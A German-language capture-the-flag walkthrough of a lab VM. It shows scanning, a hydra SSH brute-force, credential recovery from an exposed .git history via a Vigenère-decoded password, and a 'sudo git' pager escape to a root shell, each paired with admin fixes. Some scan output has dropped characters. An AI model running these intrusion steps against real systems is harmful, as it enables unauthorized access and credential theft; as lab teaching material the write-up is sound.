Reconnaissance
┌──(root㉿Cybermaschine)-[~]
└─# [arp-scan -l]
192.168.2.185 08:00:27:70:37:e1 PCS Systemtechnik GmbH
Analyse: Ein ARP-Scan wird im lokalen Netzwerk durchgeführt, um aktive Hosts zu finden.
Bewertung: Der Host `192.168.2.185` wird identifiziert. Die MAC-Adresse (`08:00:27:70:37:e1`) gehört zu PCS Systemtechnik GmbH, was typisch für VirtualBox-VMs ist.
Empfehlung (Pentester): Notiere die IP `192.168.2.185` als Ziel.
Empfehlung (Admin): Standard Netzwerk-Aufklärungsmethode.
┌──(root㉿Cybermaschine)-[~]
└─# vi /etc/hosts
[Inhalt der /etc/hosts Datei nach der Bearbeitung]
192.168.2.185 dev.vln
Analyse: Die lokale Hosts-Datei wird bearbeitet, um den Namen `dev.vln` der IP `192.168.2.185` zuzuordnen.
Bewertung: Erleichtert das Ansprechen des Ziels über einen Hostnamen, nützlich für Web-Tests.
Empfehlung (Pentester): Verwende `dev.vln` in nachfolgenden Aktionen.
Empfehlung (Admin): Client-Konfiguration.
┌──(root㉿Cybermaschine)-[~]
└─# nikto -h 192.168.2.185
- Nikto v2.5.0
[...]
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ /: Server may leak inodes via ETags [...].
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). [...]
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
[...]
+ 1 host(s) tested
Analyse: Der Webserver-Scanner `nikto` wird gegen Port 80 des Ziels ausgeführt.
Bewertung: Nikto identifiziert Apache 2.4.41 (Ubuntu), meldet eine veraltete Version und fehlende Sicherheitsheader. Es findet keine speziellen Verzeichnisse oder offensichtliche Schwachstellen.
Empfehlung (Pentester):** Führe Verzeichnis-Scans durch, um versteckte Inhalte zu finden.
Empfehlung (Admin):** Apache aktualisieren, Sicherheitsheader implementieren.
┌──(root㉿Cybermaschine)-[~]
└─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.185 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-25 15:37 CEST
Nmap scan report for dev.vln (192.168.2.185)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ae:98:ea:ab:60:97:33:6a:24:8a:87:ae:52:1b:8f:01 (RSA)
| 256 71:bb:5b:26:ea:2c:97:89:13:b6:b3:67:da:c7:15:09 (ECDSA)
|_ 256 f7:49:8e:51:58:bc:33:db:f6:93:01:89:13:02:ec:d6 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:70:37:E1 (racle VirtualBox virtual NIC)
[...]
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel
TRACERUTE
HOP RTT ADDRESS
1 0.11 ms dev.vln (192.168.2.185)
Analyse: Ein umfassender Nmap-Scan wird durchgeführt.
Bewertung: Bestätigt die offenen Ports und Dienste:
* **Port 22 (SSH):** OpenSSH 8.2p1 (Ubuntu). Relativ aktuelle Version.
* **Port 80 (HTTP):** Apache 2.4.41 (Ubuntu). Zeigt die Apache-Standardseite.
Keine weiteren offenen Ports gefunden.
Empfehlung (Pentester):** Fokus auf die Enumeration des Webservers auf Port 80. SSH ist weniger wahrscheinlich ein einfacher Einstiegspunkt.
Empfehlung (Admin):** Apache aktualisieren, Standardseite ersetzen.
┌──(root㉿Cybermaschine)-[~]
└─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.185 -p- | grep open
22/tcp open ssh penSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Analyse: Gefilterter Nmap-Scan zur Bestätigung.
Bewertung: Bestätigt Port 22 (SSH) und 80 (HTTP).
Empfehlung (Pentester): Weiter mit Web-Enumeration.
Empfehlung (Admin): Keine neuen Empfehlungen.
Web Enumeration & Git Exposure
┌──(root㉿Cybermaschine)-[~]
└─# gobuster dir -u http://dev.vln -x [...] -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt" -b '403,404' -e --no-error -k
[...]
http://dev.vln/index.html (Status: 200) [Size: 10918]
http://dev.vln/wwwdev (Status: 301) [Size: 303] [--> http://dev.vln/wwwdev/]
[...]
Analyse: Ein `gobuster` Verzeichnis-Scan wird gegen Port 80 durchgeführt, diesmal mit der "big.txt" Wortliste und ohne den 301-Filter.
Bewertung: Findet die Startseite und ein **interessantes Verzeichnis**: `/wwwdev`. Der Redirect (Status 301) deutet auf ein Verzeichnis hin.
Empfehlung (Pentester): Untersuche das Verzeichnis `/wwwdev` genauer. Prüfe auf versteckte Dateien oder Konfigurationslecks (z.B. `.git`-Verzeichnis).
Empfehlung (Admin): Stelle sicher, dass Entwicklungs- oder Testverzeichnisse nicht öffentlich zugänglich sind.
┌──(root㉿Cybermaschine)-[~]
└─# dirb http://dev.vln -X ".php,.html,.txt,.js,.db,.sql,.db"
[...]
+ http://dev.vln/index.html (CODE:200|SIZE:10918)
+ http://dev.vln/server-status (CODE:403|SIZE:272)
[...]
Analyse: `dirb` wird verwendet, um nach spezifischen Dateiendungen zu suchen.
Bewertung: Findet keine relevanten neuen Dateien im Wurzelverzeichnis.
Empfehlung (Pentester): Konzentriere dich auf `/wwwdev`.
Empfehlung (Admin): Keine Aktion.
Analyse:** Im Berichtstext wird der Benutzername `f3dai` erwähnt, dessen Herkunft ist aber unklar.
[Information aus unklarer Quelle / Annahme]
└─#
vm login Name : f3dai
Bewertung: Liefert einen potenziellen Benutzernamen `f3dai` für weitere Angriffe (Brute-Force, Passwort-Wiederverwendung).
Empfehlung (Pentester):** Notiere `f3dai` als Zielbenutzer.
Empfehlung (Admin):** Vermeide vorhersagbare oder leicht zu erratende Benutzernamen.
Initial Access (Hydra & Git/Vigenere)
Analyse:** Es werden zwei parallele Wege zum initialen Zugriff gezeigt.
Weg 1: Hydra Brute-Force
┌──(root㉿Cybermaschine)-[~]
└─# hydra -l f3dai -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.185:22 -t 64
Hydra v9.5 [...] starting at 2023-10-25 16:25:11
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[...]
[DATA] attacking ssh://192.168.2.185:22/
[22][ssh] host: 192.168.2.185 login: f3dai password: L1nusT0rvalds
1 of 1 target successfully completed, 1 valid password found
[...]
Analyse: Das Tool `hydra` wird verwendet, um einen Brute-Force-Angriff gegen den SSH-Dienst (Port 22) für den Benutzer `f3dai` durchzuführen. Die Passwortliste `rockyou.txt` wird verwendet.
Bewertung:** **Erfolg!** Hydra findet das gültige Passwort `L1nusT0rvalds` für den Benutzer `f3dai`.
Empfehlung (Pentester):** Nutze diese Credentials für den SSH-Login.
Empfehlung (Admin):** Starke, einzigartige Passwörter verwenden. Brute-Force-Schutz für SSH implementieren (z.B. Fail2Ban).
Weg 2: Git Dumper & Vigenère
┌──(root㉿Cybermaschine)-[~/HackingTools/git-dumper]
└─# git-dumper http://192.168.2.185/wwwdev/ repo
[-] Testing http://192.168.2.185/wwwdev/.git/HEAD [200]
[-] Testing http://192.168.2.185/wwwdev/.git/ [200]
[-] Fetching .git recursively
[...]
[-] Running git checkout .
[...]
Analyse: Das Tool `git-dumper` wird verwendet, um ein exponiertes `.git`-Verzeichnis aus dem Web-Pfad `http://192.168.2.185/wwwdev/` herunterzuladen und in einem lokalen Verzeichnis `repo` wiederherzustellen.
Bewertung:** **Kritisches Informationsleck!** Ein exponiertes `.git`-Verzeichnis erlaubt das vollständige Rekonstruieren des Quellcode-Repositories, einschließlich der Historie und potenziell gelöschter sensibler Daten.
Empfehlung (Pentester):** Analysiere das wiederhergestellte Git-Repository (`repo`) mit `git log`, `git checkout` und `git diff`, um nach Credentials oder Schwachstellen in früheren Code-Versionen zu suchen.
Empfehlung (Admin):** **Exponiere niemals `.git`-Verzeichnisse über den Webserver!** Konfiguriere den Webserver (z.B. Apache `.htaccess` oder nginx `location` Block), um den Zugriff auf `.git`-Verzeichnisse zu blockieren.
┌──(root㉿Cybermaschine)-[~/HackingTools/git-dumper]
└─# cd repo
┌──(root㉿Cybermaschine)-[~/HackingTools/git-dumper/repo]
└─# git log
commit 8072e242fdc09129cac94c569f6cc5ee0aef8059 (HEAD -> main, origin/main)
Author: User
Date: Mon Oct 12 23:44:09 2020 +0100
updated: removed file
commit f9e2a3675f4b2f2196276fd11cac9d210a2fc737
Author: User
Date: Mon Oct 12 23:43:00 2020 +0100
First commit :)
Analyse: `git log` zeigt die Commit-Historie des heruntergeladenen Repositories. Es gibt zwei Commits. Der neuere Commit (HEAD) hat die Nachricht "updated: removed file". Der ältere Commit ist der "First commit". Der Autor ist `f3dai@dev.local`.
Bewertung: Die Nachricht "removed file" im letzten Commit ist ein starker Hinweis darauf, dass im vorherigen Commit (`f9e2a...`) eine Datei existierte, die später gelöscht wurde. Diese Datei könnte sensible Informationen enthalten haben.
Empfehlung (Pentester):** Checke den vorherigen Commit (`f9e2a...`) mit `git checkout f9e2a...` aus, um die gelöschte Datei wiederherzustellen.
Empfehlung (Admin):** Überprüfe Commits vor dem Deployment sorgfältig auf versehentlich hinzugefügte sensible Daten. Verwende Tools wie `git-secrets`.
┌──(root㉿Cybermaschine)-[~/HackingTools/git-dumper/repo]
└─# git checkout f9e2a3675f4b2f2196276fd11cac9d210a2fc737
Hinweis: Wechsle zu 'f9e2a3675f4b2f2196276fd11cac9d210a2fc737'.
[...]
HEAD ist jetzt bei f9e2a36 First commit :)
┌──(root㉿Cybermaschine)-[~/HackingTools/git-dumper/repo]
└─# ll
insgesamt 56
-rw-r--r-- 1 root root 1156 25. Okt 16:33 ajax-email.php
drwxr-xr-x 4 root root 4096 25. Okt 16:33 assets
-rw-r--r-- 1 root root 22 25. Okt 16:36 cred <-- Wiederhergestellte Datei!
drwxr-xr-x 2 root root 4096 25. Okt 16:33 css
-rw-r--r-- 1 root root 30845 25. Okt 16:33 index.html
drwxr-xr-x 2 root root 4096 25. Okt 16:33 js
drwxr-xr-x 2 root root 4096 25. Okt 16:33 scss
Analyse: Der vorherige Commit wird ausgecheckt. Ein anschließendes `ll` (alias für `ls -l`) zeigt, dass nun eine zusätzliche Datei namens `cred` vorhanden ist.
Bewertung:** Die im letzten Commit gelöschte Datei `cred` wurde erfolgreich wiederhergestellt. Sie enthält wahrscheinlich Zugangsdaten.
Empfehlung (Pentester):** Untersuche den Inhalt der Datei `cred`.
Empfehlung (Admin):** Git-Historie bereinigen (`git filter-branch` oder BFG Repo-Cleaner), bevor Repositories (auch versehentlich) exponiert werden.
┌──(root㉿Cybermaschine)-[~/HackingTools/git-dumper/repo]
└─# cat cred
D1yceX0jgixhk (slime)
[Externe Analyse / dcode.fr]
└─# Cipher Identifier & Vigenere Decoder
Ciphertext: D1yceX0jgixhk
Key: slime
Algorithm: Vigenere
Plaintext: L1nusT0rvalds
Analyse: Die Datei `cred` enthält den Text `D1yceX0jgixhk (slime)`. Dies sieht wie ein verschlüsselter Text (`D1yceX0jgixhk`) mit einem zugehörigen Schlüssel (`slime`) aus. Mit Online-Tools (Cipher Identifier, Vigenère Decoder) wird ermittelt, dass es sich um eine Vigenère-Verschlüsselung handelt. Die Entschlüsselung mit dem Schlüssel `slime` ergibt den Klartext `L1nusT0rvalds`.
Bewertung:** **Passwort gefunden!** Durch die Analyse der Git-Historie und die Entschlüsselung des Inhalts der wiederhergestellten `cred`-Datei wurde dasselbe Passwort (`L1nusT0rvalds`) gefunden wie zuvor durch den Hydra-Brute-Force-Angriff. Dies bestätigt das Passwort und den wahrscheinlichen Zielbenutzer `f3dai`.
Empfehlung (Pentester):** Nutze die Credentials `f3dai:L1nusT0rvalds` für den SSH-Login.
Empfehlung (Admin):** Keine Credentials (auch nicht verschlüsselt mit schwachen Methoden/offensichtlichen Schlüsseln) in Code-Repositories speichern.
┌──(root㉿Cybermaschine)-[~]
└─# ssh f3dai@192.168.2.185
f3dai@192.168.2.185's password: L1nusT0rvalds [Passworteingabe]
Welcome to Ubuntu 20.04.1 LTS [...]
[...]
Last login: Sun Sep 27 13:18:16 2020 from 192.168.145.10
f3dai@dev$
Analyse: SSH-Login als Benutzer `f3dai` mit dem Passwort `L1nusT0rvalds`.
Bewertung:** **Initial Access erfolgreich!** Der Login gelingt, und eine Shell als Benutzer `f3dai` wird erhalten.
Empfehlung (Pentester):** Beginne Post-Exploitation als `f3dai`.
Empfehlung (Admin):** Starke Passwörter verwenden, Git-Repositories schützen.
Proof of Concept: Initial Access
Ziel des POC: Demonstrieren, wie durch Ausnutzung eines exponierten `.git`-Verzeichnisses und Analyse der Git-Historie verschlüsselte Zugangsdaten wiederhergestellt, mittels Vigenère-Chiffre entschlüsselt und für einen erfolgreichen SSH-Login verwendet werden können.
Voraussetzungen:
- Exponiertes `.git`-Verzeichnis unter `http://dev.vln/wwwdev/`.
- Commit-Historie, die eine gelöschte Datei mit verschlüsselten Credentials enthält.
- Aktiver SSH-Dienst (Port 22).
- Tools: `git-dumper`, `git`, Vigenère-Decoder, `ssh`.
Schritt-für-Schritt Anleitung:
1. Git-Repository herunterladen: `git-dumper http://dev.vln/wwwdev/ repo`
2. Früheren Commit auschecken: `cd repo; git checkout f9e2a...` (Hash des ersten Commits)
3. Wiederhergestellte Datei lesen: `cat cred`
┌──(root㉿Cybermaschine)-[.../repo]
└─# cat cred
D1yceX0jgixhk (slime)
4. Vigenère entschlüsseln: Ciphertext `D1yceX0jgixhk` mit Schlüssel `slime`.
[Externe Dekodierung]
└─#
Plaintext: L1nusT0rvalds
5. SSH-Login: Mit `f3dai` und dem entschlüsselten Passwort anmelden.
┌──(root㉿Cybermaschine)-[~]
└─# ssh f3dai@192.168.2.185
f3dai@192.168.2.185's password: L1nusT0rvalds
[...]
f3dai@dev$
Ergebnis & Bewertung: **Initialer Zugriff erfolgreich!** Das exponierte Git-Repository war der Schlüssel zum Erfolg, da es die Rekonstruktion der Zugangsdaten ermöglichte.
Empfehlung (Pentester): Beginne Post-Exploitation.
Empfehlung (Admin): **Schütze `.git`-Verzeichnisse vor Webzugriff!** Überprüfe Code und Historie vor dem Deployment auf sensible Daten.
Privilege Escalation (sudo git)
Analyse:** Nach Erhalt der Shell als `f3dai` wird nach Wegen zur Rechteerweiterung gesucht.
f3dai@dev$ sudo -l
Matching Defaults entries for f3dai on dev:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User f3dai may run the following commands on dev:
(root) NOPASSWD: /usr/bin/git
Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für den Benutzer `f3dai` zu prüfen.
Bewertung:** **Kritische Fehlkonfiguration!** Der Benutzer `f3dai` darf den Befehl `/usr/bin/git` als `root` **ohne Passwortabfrage** (`NOPASSWD`) ausführen. `git` bietet bekannte Möglichkeiten, über seine Subkommandos oder Hooks eine Shell zu spawnen oder beliebige Befehle auszuführen.
Empfehlung (Pentester):** Nutze die `sudo git`-Berechtigung zur Privilege Escalation. Konsultiere GTFOBins für die `git`-sudo-Methode.
Empfehlung (Admin):** **Korrigiere die `/etc/sudoers`-Datei!** Erlaube `git` nicht via `sudo` ohne Passwort. Wenn `git` mit `sudo` benötigt wird, schränke die erlaubten Subkommandos und Argumente extrem ein oder verwende spezifischere Tools.
Analyse:** Anwendung der GTFOBins-Methode für `sudo git`.
[Referenz: https://gtfobins.github.io/gtfobins/git/#sudo]
└─#
[...]
If git is allowed to be run as superuser by sudo, it doesn’t drop the privileges and may be used to access the file system, escalate or maintain privileged access.
sudo git -p help config
!/bin/sh
[...]
f3dai@dev$ sudo git -p help config
GIT-CONFIG(1) Git Manual GIT-CONFIG(1)
[...]
:!/bin/sh [Eingabe im Pager (less/more), der von `git -p help` gestartet wird]
# id
uid=0(root) gid=0(root) groups=0(root)
Analyse: Der Exploit von GTFOBins wird angewendet:
1. `sudo git -p help config` wird ausgeführt. `-p` weist `git` an, die Ausgabe über einen Pager (wie `less` oder `more`) zu leiten.
2. Innerhalb des Pagers (der mit Root-Rechten läuft, da `git` mit `sudo` gestartet wurde) wird der Befehl `:!/bin/sh` eingegeben. Dies ist ein Standardbefehl in vielen Pagern, um einen externen Shell-Befehl auszuführen.
3. Da der Pager als Root läuft, wird `/bin/sh` ebenfalls als Root gestartet.
Bewertung:** **Privilege Escalation erfolgreich!** Durch die unsichere `sudo`-Regel für `git` konnte über den Pager-Trick eine Root-Shell erlangt werden (`uid=0(root)`).
Empfehlung (Pentester):** Root-Zugriff etabliert. Suche die Root-Flag.
Empfehlung (Admin):** Korrigiere die `sudoers`-Regel für `git`.
# cd /root
# ls -la
total 32
drwx------ 4 root root 4096 Sep 26 2020 .
drwxr-xr-x 20 root root 4096 Sep 26 2020 ..
lrwxrwxrwx 1 root root 9 Sep 26 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 Jul 31 2020 .cache
-rw------- 1 root root 54 Sep 26 2020 .lesshst
drwxr-xr-x 3 root root 4096 Sep 26 2020 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r--r-- 1 root root 33 Sep 26 2020 root.txt
# cat root.txt
37c24213df088bb485e97b7ce1929e09
Analyse: In der Root-Shell wird in das `/root`-Verzeichnis gewechselt und die Datei `root.txt` ausgegeben.
Bewertung: Die Root-Flag `37c24213df088bb485e97b7ce1929e09` wurde gefunden.
Empfehlung (Pentester):** Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion für diesen Schritt, Fokus auf Verhinderung der PE.
Proof of Concept: Privilege Escalation
Ziel des POC: Demonstrieren, wie eine unsichere `sudoers`-Regel, die dem Benutzer `f3dai` erlaubt, `/usr/bin/git` ohne Passwort als Root auszuführen, zur Erlangung einer Root-Shell missbraucht werden kann.
Voraussetzungen:
- Shell-Zugang als Benutzer `f3dai`.
- Unsichere Konfiguration in `/etc/sudoers`: `f3dai ALL=(root) NOPASSWD: /usr/bin/git`.
- Tools `sudo`, `git` und ein Pager (wie `less`) auf dem System installiert.
Schritt-für-Schritt Anleitung:
1. `sudo -l` ausführen (optional, zur Bestätigung):
f3dai@dev$ sudo -l
[...] (root) NOPASSWD: /usr/bin/git
2. `git` mit Pager via `sudo` starten:
f3dai@dev$ sudo git -p help config
[Pager wird geöffnet]
3. Shell im Pager spawnen: Innerhalb des Pagers (less/more) den Befehl eingeben:
[Pager Prompt] :!/bin/sh
[Root-Shell wird geöffnet]
#
4. Rechte überprüfen:
# id
uid=0(root) gid=0(root) groups=0(root)
Ergebnis & Bewertung: **Privilege Escalation erfolgreich!** Die Kombination einer unsicheren `sudo`-Regel mit der Fähigkeit von `git`, einen Pager aufzurufen, ermöglichte die Ausführung einer Shell mit Root-Rechten.
Empfehlung (Pentester): Root-Zugriff etabliert.
Empfehlung (Admin):** **`sudoers`-Regel für `git` dringend korrigieren!** Vermeide `NOPASSWD` für Befehle, die Shell-Escapes oder das Ausführen beliebiger anderer Befehle erlauben.
Flags
cat /pfad/zur/user.txt (Wert aus Berichtende)
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt (Wert aus Berichtende)
37c24213df088bb485e97b7ce1929e09